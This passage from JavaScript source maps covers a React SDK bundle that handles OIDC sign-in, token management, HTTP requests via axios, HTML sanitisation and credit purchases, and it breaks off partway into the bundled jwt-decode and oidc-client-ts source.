encodedAndHashed","generateDPoPProof","url","accessToken","httpMethod","keyPair","nonce","hashedToken","encodedHash","jti","randomUUID","htm","htu","iat","Math","floor","Date","now","ath","publicJwk","exportKey","publicKey","typ","TypeError","generateDPoPJkt","generateDPoPKeys","generateKey","namedCurve","input","Event","_callbacks","_logger","addHandler","cb","push","removeHandler","idx","lastIndexOf","splice","raise","ev","PopupUtils","center","features","_a","width","find","outerWidth","left","max","round","screenX","height","top","screenY","outerHeight","serialize","entries","filter","key","Timer","_Timer","super","arguments","_timerHandle","_expiration","_callback","diff","getEpochTime","cancel","init","durationInSeconds","logger2","expiration","timerDurationInSeconds","min","setInterval","clearInterval","UrlUtils","readParams","responseMode","params","URL","URLSearchParams","slice","URL_STATE_DELIMITER","ErrorResponse","form","_b","_c","error_description","error_uri","state","userState","session_state","url_state","ErrorTimeout","AccessTokenEvents","_expiringTimer","_expiredTimer","_expiringNotificationTimeInSeconds","expiringNotificationTimeInSeconds","load","container","access_token","expires_in","duration","expiring","expired","unload","addAccessTokenExpiring","removeAccessTokenExpiring","addAccessTokenExpired","removeAccessTokenExpired","CheckSessionIFrame","_client_id","_intervalInSeconds","_stopOnError","_timer","_session_state","_message","origin","_frame_origin","source","_frame","contentWindow","stop","parsedUrl","document","createElement","style","visibility","position","src","href","Promise","resolve","onload","body","appendChild","addEventListener","start","send","postMessage","InMemoryWebStorage","_data","clear","getItem","setItem","removeItem","getOwnPropertyNames","index","ErrorDPoPNonce","JsonService","additionalContentTypes","_jwtHandler","_extraHeaders","_contentTypes","fetchWithTimeout","timeoutInSeconds","initFetch","fetch","controller","AbortController","timeoutId","setTimeout","abort","signal","DOMException","clearTimeout","getJson","credentials","headers","Accept","response","_appendExtraHeaders","status","contentType","get","item","startsWith","throw","ok","text","json","statusText","postForm","basicAuth","initCredentials","extraHeaders","responseText","has","customKeys","keys","protectedHeaders","preventOverride","forEach","headerName","includes","toLocaleLowerCase","content","MetadataService","_settings","_signingKeys","_metadata","_metadataUrl","metadataUrl","_jsonService","signingKeys","metadata","fetchRequestCredentials","_fetchRequestCredentials","resetSigningKeys","getMetadata","requestTimeoutInSeconds","assign","metadataSeed","getIssuer","_getMetadataProperty","getAuthorizationEndpoint","getUserInfoEndpoint","getTokenEndpoint","optional","getCheckSessionIframe","getEndSessionEndpoint","getRevocationEndpoint","getKeysEndpoint","getSigningKeys","jwks_uri","keySet","Array","isArray","WebStorageStateStore","store","localStorage","_store","_prefix","set","remove","getAllKeys","len","indexOf","substr","OidcClientSettingsStore","authority","response_type","scope","redirect_uri","post_logout_redirect_uri","client_authentication","prompt","display","max_age","ui_locales","acr_values","resource","response_mode","filterProtocolClaims","loadUserInfo","staleStateAgeInSeconds","mergeClaimsStrategy","array","disablePKCE","stateStore","revokeTokenAdditionalContentTypes","refreshTokenAllowedScope","extraQueryParams","extraTokenParams","dpop","omitScopeWhenRequesting","endsWith","UserInfoService","_metadataService","_getClaimsFromJwt","async","getClaims","claims","TokenClient","exchangeCode","grant_type","append","exchangeCredentials","exchangeRefreshToken","refresh_token","param","revoke","token_type_hint","ResponseValidator","_claimsService","_userInfoService","_tokenClient","validateSigninResponse","_processSigninState","_processCode","isOpenId","_validateIdTokenAttributes","_processClaims","skipUserInfo","validateCredentialsResponse","shouldValidateSubClaim","id_token","validateRefreshResponse","profile","hasIdToken","validateSignoutResponse","id","validateSub","sub","mergeClaims","tokenResponse","existingToken","incoming","existing","auth_time","azp","State","_State","created","request_type","toStorageString","fromStorageString","storageString","clearStaleState","storage","age","cutoff","i","SigninState","_SigninState","code_challenge","_SigninRequest","state_data","dpopJkt","optionalParams","searchParams","stateParam","r","SigninRequest","SigninResponse","token_type","splitState","expires_at","Number","SignoutRequest","id_token_hint","SignoutResponse","DefaultProtocolClaims","InternalRequiredProtocolClaims","ClaimsService","result","protocolClaims","claim","claims1","claims2","values","mergedValues","DPoPState","OidcClient","settings","metadataService","_validator","createSigninRequest","request","request_uri","login_hint","signinRequest","signinState","readSigninResponseState","removeState","storedStateString","processSigninResponse","dpopProof","getDpopProof","DPoP","dpopStore","dpopState","processResourceOwnerPasswordCredentials","username","password","signinResponse","useRefreshToken","allowableScopes","s","createSignoutRequest","signoutState","readSignoutResponseState","processSignoutResponse","revokeToken","type","SessionMonitor","_userManager","_start","user","_sub","_checkSessionIFrame","intervalInSeconds","checkSessionIntervalInSeconds","stopOnError","stopCheckSessionOnError","checkSessionIFrame","_stop","monitorAnonymousSession","timerHandle","session","querySessionStatus","tmpUser","raiseEvent","events","_raiseUserSessionChanged","_raiseUserSignedOut","_raiseUserSignedIn","addUserLoaded","addUserUnloaded","_init","catch","getUser","User","_User","scopes","messageSource","AbstractChildWindow","_abort","_disposeHandlers","Set","_window","navigate","location","keepOpen","reject","listener","scriptOrigin","_dispose","add","removeEventListener","channel","BroadcastChannel","close","reason","dispose","_notifyParent","parent","targetOrigin","msgData","DefaultPopupWindowFeatures","toolbar","closePopupWindowAfterInSeconds","DefaultPopupTarget","DefaultAccessTokenExpiringNotificationTimeInSeconds","DefaultCheckSessionIntervalInSeconds","UserManagerSettingsStore","popup_redirect_uri","popup_post_logout_redirect_uri","popupWindowFeatures","popupWindowTarget","redirectMethod","redirectTarget","iframeNotifyParentOrigin","iframeScriptOrigin","silent_redirect_uri","silentRequestTimeoutInSeconds","automaticSilentRenew","validateSubOnSilentRenew","includeIdTokenInSilentRenew","monitorSession","query_status_response_type","revokeTokenTypes","revokeTokensOnSignout","includeIdTokenInSilentSignout","accessTokenExpiringNotificationTimeInSeconds","userStore","sessionStorage","IFrameWindow","_IFrameWindow","_timeoutInSeconds","createHiddenIframe","iframe","timer","parentNode","_a2","frame","target","removeChild","notifyParent","IFrameNavigator","prepare","callback","PopupWindow","popupSignal","centeredPopup","open","closed","focus","popupClosedInterval","clearPopupClosedInterval","delete","notifyOpener","opener","PopupNavigator","RedirectNavigator","targetWindow","self","redirect","bind","promise","UserManagerEvents","_userLoaded","_userUnloaded","_silentRenewError","_userSignedIn","_userSignedOut","_userSessionChanged","removeUserLoaded","removeUserUnloaded","addSilentRenewError","removeSilentRenewError","_raiseSilentRenewError","addUserSignedIn","removeUserSignedIn","addUserSignedOut","removeUserSignedOut","addUserSessionChanged","removeUserSessionChanged","SilentRenewService","_isStarted","_retryTimer","_tokenExpiring","signinSilent","RefreshState","UserManager","redirectNavigator","popupNavigator","iframeNavigator","_client","_redirectNavigator","_popupNavigator","_iframeNavigator","_events","_silentRenewService","startSilentRenew","_sessionMonitor","_loadUser","removeUser","storeUser","signinRedirect","requestArgs","bind_authorization_code","handle","_signinStart","signinRedirectCallback","_signinEnd","signinResourceOwnerCredentials","_buildUser","signinPopup","_signin","signinPopupCallback","_useRefreshToken","verifySub","signinSilentCallback","signinCallback","signoutCallback","signoutRedirectCallback","signoutPopupCallback","signoutSilentCallback","navResponse","signoutRedirect","_signoutStart","_signoutEnd","signoutPopup","_signout","_revokeInternal","signoutRequest","signoutResponse","signoutSilent","revokeTokens","types","typesPresent","stopSilentRenew","_userStoreKey","dpopSettings","dpopKeys","setPrototypeOf","isFrozen","getPrototypeOf","getOwnPropertyDescriptor","freeze","seal","apply","construct","Reflect","fun","thisValue","Func","arrayForEach","unapply","arrayLastIndexOf","arrayPop","pop","arrayPush","arraySplice","stringToLowerCase","toLowerCase","stringToString","stringMatch","match","stringReplace","stringIndexOf","stringTrim","trim","objectHasOwnProperty","hasOwnProperty","regExpTest","RegExp","test","typeErrorCreate","func","_len2","_key2","thisArg","lastIndex","_len","_key","addToSet","transformCaseFunc","l","element","lcElement","cleanArray","clone","object","newObject","property","lookupGetter","prop","desc","html$1","svg$1","svgFilters","svgDisallowed","mathMl$1","mathMlDisallowed","html","svg","mathMl","xml","MUSTACHE_EXPR","ERB_EXPR","TMPLIT_EXPR","DATA_ATTR","ARIA_ATTR","IS_ALLOWED_URI","IS_SCRIPT_OR_DATA","ATTR_WHITESPACE","DOCTYPE_NAME","CUSTOM_ELEMENT","EXPRESSIONS","__proto__","NODE_TYPE","purify","createDOMPurify","DOMPurify","root","version","removed","nodeType","Element","isSupported","originalDocument","currentScript","DocumentFragment","HTMLTemplateElement","Node","NodeFilter","NamedNodeMap","MozNamedAttrMap","HTMLFormElement","DOMParser","trustedTypes","ElementPrototype","cloneNode","getNextSibling","getChildNodes","getParentNode","template","ownerDocument","trustedTypesPolicy","emptyHTML","implementation","createNodeIterator","createDocumentFragment","getElementsByTagName","importNode","hooks","afterSanitizeAttributes","afterSanitizeElements","afterSanitizeShadowDOM","beforeSanitizeAttributes","beforeSanitizeElements","beforeSanitizeShadowDOM","uponSanitizeAttribute","uponSanitizeElement","uponSanitizeShadowNode","createHTMLDocument","IS_ALLOWED_URI$1","ALLOWED_TAGS","DEFAULT_ALLOWED_TAGS","ALLOWED_ATTR","DEFAULT_ALLOWED_ATTR","CUSTOM_ELEMENT_HANDLING","tagNameCheck","writable","configurable","enumerable","attributeNameCheck","allowCustomizedBuiltInElements","FORBID_TAGS","FORBID_ATTR","ALLOW_ARIA_ATTR","ALLOW_DATA_ATTR","ALLOW_UNKNOWN_PROTOCOLS","ALLOW_SELF_CLOSE_IN_ATTR","SAFE_FOR_TEMPLATES","SAFE_FOR_XML","WHOLE_DOCUMENT","SET_CONFIG","FORCE_BODY","RETURN_DOM","RETURN_DOM_FRAGMENT","RETURN_TRUSTED_TYPE","SANITIZE_DOM","SANITIZE_NAMED_PROPS","KEEP_CONTENT","IN_PLACE","USE_PROFILES","FORBID_CONTENTS","DEFAULT_FORBID_CONTENTS","DATA_URI_TAGS","DEFAULT_DATA_URI_TAGS","URI_SAFE_ATTRIBUTES","DEFAULT_URI_SAFE_ATTRIBUTES","MATHML_NAMESPACE","SVG_NAMESPACE","HTML_NAMESPACE","NAMESPACE","IS_EMPTY_INPUT","ALLOWED_NAMESPACES","DEFAULT_ALLOWED_NAMESPACES","MATHML_TEXT_INTEGRATION_POINTS","HTML_INTEGRATION_POINTS","COMMON_SVG_AND_HTML_ELEMENTS","PARSER_MEDIA_TYPE","SUPPORTED_PARSER_MEDIA_TYPES","CONFIG","formElement","isRegexOrFunction","testValue","Function","_parseConfig","cfg","ADD_URI_SAFE_ATTR","ADD_DATA_URI_TAGS","ALLOWED_URI_REGEXP","ADD_TAGS","ADD_ATTR","table","tbody","TRUSTED_TYPES_POLICY","createHTML","createScriptURL","purifyHostElement","createPolicy","suffix","ATTR_NAME","hasAttribute","getAttribute","policyName","scriptUrl","_","console","_createTrustedTypesPolicy","ALL_SVG_TAGS","ALL_MATHML_TAGS","_forceRemove","node","_removeAttribute","attribute","getAttributeNode","from","removeAttribute","setAttribute","_initDocument","dirty","doc","leadingWhitespace","matches","dirtyPayload","parseFromString","documentElement","createDocument","innerHTML","insertBefore","createTextNode","childNodes","call","_createNodeIterator","SHOW_ELEMENT","SHOW_COMMENT","SHOW_TEXT","SHOW_PROCESSING_INSTRUCTION","SHOW_CDATA_SECTION","_isClobbered","nodeName","textContent","attributes","namespaceURI","hasChildNodes","_isNode","_executeHooks","currentNode","hook","_sanitizeElements","tagName","allowedTags","firstElementChild","_isBasicCustomElement","childClone","__removalCount","parentTagName","Boolean","_checkValidNamespace","expr","_isValidAttribute","lcTag","lcName","_sanitizeAttributes","hookEvent","attrName","attrValue","keepAttr","allowedAttributes","forceKeepAttr","attr","initValue","getAttributeType","setAttributeNS","_sanitizeShadowDOM","fragment","shadowNode","shadowIterator","nextNode","sanitize","importedNode","returnNode","firstChild","nodeIterator","shadowroot","shadowrootmode","serializedHTML","outerHTML","doctype","setConfig","clearConfig","isValidAttribute","tag","addHook","entryPoint","hookFunction","removeHook","removeHooks","removeAllHooks","JSDOM","require","sanitizeText","sanitized","sanitizeEmail","email","emailMatch","sanitizeUrl","parsed","protocol","fn","iterator","toStringTag","Symbol","kindOf","thing","cache","kindOfTest","typeOfTest","isUndefined","isArrayBuffer","isString","isFunction","isNumber","isObject","isPlainObject","isDate","isFile","isBlob","isFileList","isURLSearchParams","isReadableStream","isRequest","isResponse","isHeaders","obj","allOwnKeys","findKey","_global","globalThis","global","isContextDefined","context","isTypedArray","TypedArray","isHTMLForm","isRegExp","reduceDescriptors","reducer","descriptors","getOwnPropertyDescriptors","reducedDescriptors","descriptor","ret","defineProperties","isAsyncFn","_setImmediate","setImmediateSupported","setImmediate","postMessageSupported","random","callbacks","shift","asap","queueMicrotask","process","nextTick","utils$1","isBuffer","isFormData","kind","FormData","isArrayBufferView","ArrayBuffer","isView","buffer","isBoolean","isStream","pipe","merge","caseless","assignValue","targetKey","extend","a","b","stripBOM","inherits","superConstructor","props","defineProperty","toFlatObject","sourceObj","destObj","propFilter","merged","searchString","toArray","forEachEntry","_iterator","next","done","pair","matchAll","regExp","exec","hasOwnProp","freezeMethods","toObjectSet","arrayOrString","delimiter","define","toCamelCase","p1","p2","noop","toFiniteNumber","defaultValue","isFinite","isSpecCompliantForm","toJSONObject","stack","visit","reducedValue","isThenable","then","isIterable","AxiosError","config","captureStackTrace","toJSON","description","number","fileName","lineNumber","columnNumber","utils","customProps","axiosError","cause","isVisitable","removeBrackets","renderKey","path","dots","concat","predicates","toFormData","formData","metaTokens","indexes","option","visitor","defaultVisitor","useBlob","Blob","convertValue","toISOString","Buffer","some","isFlatArray","el","exposedHelpers","build","charMap","encodeURIComponent","AxiosURLSearchParams","_pairs","buildURL","_encode","serializeFn","serializedParams","hashmarkIndex","encoder","InterceptorManager","handlers","use","fulfilled","rejected","synchronous","runWhen","eject","h","transitionalDefaults","silentJSONParsing","forcedJSONParsing","clarifyTimeoutError","platform$1","isBrowser","classes","protocols","hasBrowserEnv","_navigator","navigator","hasStandardBrowserEnv","product","hasStandardBrowserWebWorkerEnv","WorkerGlobalScope","importScripts","platform","formDataToJSON","buildPath","isNumericKey","isLast","arrayToObject","parsePropPath","defaults","transitional","adapter","transformRequest","getContentType","hasJSONContentType","isObjectPayload","setContentType","helpers","isNode","toURLEncodedForm","formSerializer","_FormData","env","rawValue","parser","stringifySafely","transformResponse","JSONRequested","responseType","strictJSONParsing","ERR_BAD_RESPONSE","timeout","xsrfCookieName","xsrfHeaderName","maxContentLength","maxBodyLength","validateStatus","common","ignoreDuplicateOf","$internals","normalizeHeader","normalizeValue","matchHeaderValue","isHeaderNameFilter","AxiosHeaders$1","valueOrRewrite","rewrite","setHeader","_value","_header","_rewrite","lHeader","setHeaders","rawHeaders","line","substring","parseHeaders","dest","entry","tokens","tokensRE","parseTokens","matcher","deleted","deleteHeader","normalize","format","normalized","w","char","formatHeader","targets","asStrings","getSetCookie","first","computed","accessor","accessors","defineAccessor","accessorName","methodName","arg1","arg2","arg3","buildAccessors","transformData","fns","AxiosHeaders","isCancel","__CANCEL__","CanceledError","AxiosError$1","ERR_CANCELED","settle","ERR_BAD_REQUEST","mapped","headerValue","progressEventReducer","isDownloadStream","freq","bytesNotified","_speedometer","samplesCount","bytes","timestamps","firstSampleTS","head","tail","chunkLength","startedAt","bytesCount","passed","speedometer","lastArgs","timestamp","threshold","invoke","throttle","loaded","total","lengthComputable","progressBytes","rate","progress","estimated","event","progressEventDecorator","throttled","asyncDecorator","isURLSameOrigin","isMSIE","host","port","userAgent","cookies","write","expires","domain","secure","cookie","toGMTString","read","buildFullPath","baseURL","requestedURL","allowAbsoluteUrls","isRelativeUrl","relativeURL","combineURLs","headersToObject","mergeConfig","config1","config2","getMergedValue","mergeDeepProperties","valueFromConfig2","defaultToConfig2","mergeDirectKeys","mergeMap","paramsSerializer","timeoutMessage","withCredentials","withXSRFToken","onUploadProgress","onDownloadProgress","decompress","beforeRedirect","transport","httpAgent","httpsAgent","cancelToken","socketPath","responseEncoding","configValue","resolveConfig","newConfig","auth","unescape","xsrfValue","xhrAdapter","XMLHttpRequest","_config","requestData","requestHeaders","onCanceled","uploadThrottled","downloadThrottled","flushUpload","flushDownload","unsubscribe","onloadend","responseHeaders","getAllResponseHeaders","onreadystatechange","readyState","responseURL","onabort","ECONNABORTED","onerror","ERR_NETWORK","ontimeout","timeoutErrorMessage","ETIMEDOUT","setRequestHeader","upload","subscribe","aborted","parseProtocol","composeSignals","signals","streamChunk","chunk","chunkSize","byteLength","end","readStream","stream","asyncIterator","reader","getReader","trackStream","onProgress","onFinish","iterable","readBytes","_onFinish","ReadableStream","pull","loadedBytes","enqueue","return","highWaterMark","isFetchSupported","Request","Response","isReadableStreamSupported","encodeText","arrayBuffer","supportsRequestStream","duplexAccessed","hasContentType","duplex","supportsResponseStream","resolvers","res","ERR_NOT_SUPPORT","resolveBodyLength","getContentLength","size","_request","getBodyLength","knownAdapters","http","xhr","fetchOptions","composedSignal","toAbortSignal","requestContentLength","contentTypeHeader","flush","isCredentialsSupported","isStreamResponse","responseContentLength","responseData","renderReason","isResolvedHandle","adapters","nameOrAdapter","rejectedReasons","reasons","throwIfCancellationRequested","throwIfRequested","dispatchRequest","VERSION","validators","deprecatedWarnings","validators$1","validator","formatMessage","opt","opts","ERR_DEPRECATED","spelling","correctSpelling","assertOptions","schema","allowUnknown","ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","Axios$1","instanceConfig","interceptors","configOrUrl","dummy","boolean","function","baseUrl","withXsrfToken","contextHeaders","requestInterceptorChain","synchronousRequestInterceptors","interceptor","unshift","responseInterceptorChain","chain","onFulfilled","onRejected","getUri","Axios","generateHTTPMethod","isForm","HttpStatusCode","Continue","SwitchingProtocols","Processing","EarlyHints","Ok","Created","Accepted","NonAuthoritativeInformation","NoContent","ResetContent","PartialContent","MultiStatus","AlreadyReported","ImUsed","MultipleChoices","MovedPermanently","Found","SeeOther","NotModified","UseProxy","Unused","TemporaryRedirect","PermanentRedirect","BadRequest","Unauthorized","PaymentRequired","Forbidden","NotFound","MethodNotAllowed","NotAcceptable","ProxyAuthenticationRequired","RequestTimeout","Conflict","Gone","LengthRequired","PreconditionFailed","PayloadTooLarge","UriTooLong","UnsupportedMediaType","RangeNotSatisfiable","ExpectationFailed","ImATeapot","MisdirectedRequest","UnprocessableEntity","Locked","FailedDependency","TooEarly","UpgradeRequired","PreconditionRequired","TooManyRequests","RequestHeaderFieldsTooLarge","UnavailableForLegalReasons","InternalServerError","NotImplemented","BadGateway","ServiceUnavailable","GatewayTimeout","HttpVersionNotSupported","VariantAlsoNegotiates","InsufficientStorage","LoopDetected","NotExtended","NetworkAuthenticationRequired","axios","createInstance","defaultConfig","instance","CancelToken","executor","resolvePromise","_listeners","onfulfilled","_resolve","Cancel","all","promises","spread","isAxiosError","formToJSON","getAdapter","default","ECHO_BASE_URL","EchoClient","overrides","__publicField","apiKey","ECHO_API_KEY","getBalance","handleError","getFreeBalance","echoAppId","post","createPaymentLink","getPaymentUrl","amount","successUrl","paymentLink","getAppUrl","appId","listEchoApps","apps","getEchoApp","getUserInfo","getSupportedModels","listSupportedModels","models","getSupportedModelsByProvider","models_by_provider","registerReferralCode","EchoContext","createContext","useEcho","useContext","Logo","className","variant","fillColor","jsxRuntime","jsxs","xmlns","viewBox","children","jsx","points","d","transform","CustomAmountInput","onAddCredits","onCancel","isProcessing","setAmount","useState","inputRef","useRef","useEffect","current","isValidAmount","flexDirection","alignItems","gap","fontSize","color","fontFamily","ref","placeholder","onChange","textAlign","padding","border","borderRadius","outline","backgroundColor","step","onClick","cursor","textDecoration","onMouseEnter","currentTarget","onMouseLeave","purchaseAmount","disabled","fontWeight","setUser","balance","setBalance","freeTierBalance","setFreeTierBalance","isLoading","setIsLoading","setError","setToken","userManager","setUserManager","isClient","setIsClient","existingManager","__echoUserManager","apiUrl","redirectUri","authorization_endpoint","token_endpoint","userinfo_endpoint","issuer","manager","isAuthenticated","createClientWithToken","useCallback","convertUser","oidcUser","sanitizedProfile","picture","sanitizeUserProfile","given_name","preferred_username","user_id","loadUserData","echoUser","client","loadBalanceWithClient","errorMessage","balanceData","freeTierBalanceData","totalPaid","totalSpent","clearAuth","currentUser","existingUser","search","log","history","replaceState","title","pathname","initializeAuth","onSuccess","onError","urlParams","referralCode","success","useRegisterReferralCode","handleUserLoaded","contextValue","signIn","signOut","refreshBalance","getToken","Provider","isHovered","setIsHovered","React","handleSignIn","transition","boxShadow","backdropFilter","marginTop","onPurchaseComplete","setIsProcessing","purchaseError","setPurchaseError","isModalOpen","setIsModalOpen","showCustomAmount","setShowCustomAmount","formatCurrency","Intl","NumberFormat","currency","calculateAvailableSpend","userSpendInfo","amountLeft","handlePurchase","paymentUrl","onComplete","safeUrl","popup","checkComplete","confirm","handleFocus","openPaymentFlow","closeModal","CompactButton","fill","stroke","strokeWidth","strokeLinecap","strokeLinejoin","Modal","right","bottom","justifyContent","zIndex","maxWidth","maxHeight","overflow","minHeight","marginBottom","margin","flex","spendLimit","amountSpent","minWidth","Fragment","enabled","openai","setOpenai","abortControllerRef","abortController","OpenAI","import","dangerouslyAllowBrowser","loadOpenAI","isReady"],"mappings":"mfAAO,MAAMA,UAA0BC,OAYvC,SAASC,EAAgBC,GACjB,IAAAC,EAASD,EAAIE,QAAQ,KAAM,KAAKA,QAAQ,KAAM,KAC1C,OAAAD,EAAOE,OAAS,GACpB,KAAK,EACD,MACJ,KAAK,EACSF,GAAA,KACV,MACJ,KAAK,EACSA,GAAA,IACV,MACJ,QACU,MAAA,IAAIH,MAAM,8CAEpB,IACA,OAxBR,SAA0BE,GACf,OAAAI,mBAAmBC,KAAKL,GAAKE,QAAQ,QAAQ,CAACI,EAAGC,KAChD,IAAAC,EAAOD,EAAEE,WAAW,GAAGC,SAAS,IAAIC,cAIxC,OAHIH,EAAK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B,KAG1ChyB,QAAAj2B,MAAM,wBAAyBV,GACvCguD,OAAU,EAAS,CACrB,CACA,QAEKE,EAAgBz9C,OAAOilC,SAC1BkR,GAAa,EACf,GAIO0H,GAGJ,KACDL,EAAmBtJ,SACrBsJ,EAAmBtJ,QAAQn0C,WAG9B,CAACtO,EAAO0lD,EAAiBjW,EAASmc,IAE9B,CACLC,SACAQ,aAAoB,IAAXR,IAAyBpH,EAClCjmD,QACAimD,YAEJ","x_google_ignoreList":[0,1,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54]}
|
|
1
|
+
{"version":3,"file":"echo-react-sdk.umd.js","sources":["../../node_modules/.pnpm/jwt-decode@4.0.0/node_modules/jwt-decode/build/esm/index.js","../../node_modules/.pnpm/oidc-client-ts@3.3.0/node_modules/oidc-client-ts/dist/esm/oidc-client-ts.js","../../node_modules/.pnpm/react-oidc-context@3.3.0_oidc-client-ts@3.3.0_react@19.1.0/node_modules/react-oidc-context/dist/esm/react-oidc-context.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/bind.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/utils.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/AxiosError.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/toFormData.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/AxiosURLSearchParams.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/buildURL.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/InterceptorManager.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/defaults/transitional.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/browser/index.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/browser/classes/URLSearchParams.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/browser/classes/FormData.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/browser/classes/Blob.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/common/utils.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/index.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/formDataToJSON.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/defaults/index.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/toURLEncodedForm.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/parseHeaders.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/AxiosHeaders.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/transformData.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/cancel/isCancel.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/cancel/CanceledError.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/settle.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/progressEventReducer.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/speedometer.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/throttle.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/isURLSameOrigin.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/cookies.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/buildFullPath.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/isAbsoluteURL.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/combineURLs.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/mergeConfig.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/resolveConfig.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/adapters/xhr.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/parseProtocol.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/composeSignals.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/trackStream.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/adapters/fetch.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/adapters/adapters.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/null.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/dispatchRequest.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/env/data.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/validator.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/Axios.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/HttpStatusCode.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/axios.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/cancel/CancelToken.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/spread.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/isAxiosError.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/index.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/dist/browser/axios.cjs","../../node_modules/.pnpm/axios-auth-refresh@3.3.6_axios@1.10.0/node_modules/axios-auth-refresh/dist/index.min.js","../../node_modules/.pnpm/@merit-systems+echo-typescript-sdk@1.0.2/node_modules/@merit-systems/echo-typescript-sdk/dist/index.js","../src/hooks/useEchoClient.ts","../src/components/EchoProvider.tsx","../src/hooks/useEchoBalance.ts","../src/hooks/useEchoPayments.ts","../src/hooks/useEcho.ts","../../node_modules/.pnpm/dompurify@3.2.6/node_modules/dompurify/dist/purify.es.mjs","../src/utils/security.ts","../src/components/Logo.tsx","../src/components/EchoTokenPurchase.tsx","../src/components/EchoSignIn.tsx","../src/hooks/useEchoOpenAI.ts"],"sourcesContent":["export class InvalidTokenError extends Error {\n}\nInvalidTokenError.prototype.name = \"InvalidTokenError\";\nfunction b64DecodeUnicode(str) {\n return decodeURIComponent(atob(str).replace(/(.)/g, (m, p) => {\n let code = p.charCodeAt(0).toString(16).toUpperCase();\n if (code.length < 2) {\n code = \"0\" + code;\n }\n return \"%\" + code;\n }));\n}\nfunction base64UrlDecode(str) {\n let output = str.replace(/-/g, \"+\").replace(/_/g, \"/\");\n switch (output.length % 4) {\n case 0:\n break;\n case 2:\n output += \"==\";\n break;\n case 3:\n output += \"=\";\n break;\n default:\n throw new Error(\"base64 string is not of the correct length\");\n }\n try {\n return b64DecodeUnicode(output);\n }\n catch (err) {\n return atob(output);\n }\n}\nexport function jwtDecode(token, options) {\n if (typeof token !== \"string\") {\n throw new InvalidTokenError(\"Invalid token specified: must be a string\");\n }\n options || (options = {});\n const pos = options.header === true ? 0 : 1;\n const part = token.split(\".\")[pos];\n if (typeof part !== \"string\") {\n throw new InvalidTokenError(`Invalid token specified: missing part #${pos + 1}`);\n }\n let decoded;\n try {\n decoded = base64UrlDecode(part);\n }\n catch (e) {\n throw new InvalidTokenError(`Invalid token specified: invalid base64 for part #${pos + 1} (${e.message})`);\n }\n try {\n return JSON.parse(decoded);\n }\n catch (e) {\n throw new InvalidTokenError(`Invalid token specified: invalid json for part #${pos + 1} (${e.message})`);\n }\n}\n","// src/utils/Logger.ts\nvar nopLogger = {\n debug: () => void 0,\n info: () => void 0,\n warn: () => void 0,\n error: () => void 0\n};\nvar level;\nvar logger;\nvar Log = /* @__PURE__ */ ((Log2) => {\n Log2[Log2[\"NONE\"] = 0] = \"NONE\";\n Log2[Log2[\"ERROR\"] = 1] = \"ERROR\";\n Log2[Log2[\"WARN\"] = 2] = \"WARN\";\n Log2[Log2[\"INFO\"] = 3] = \"INFO\";\n Log2[Log2[\"DEBUG\"] = 4] = 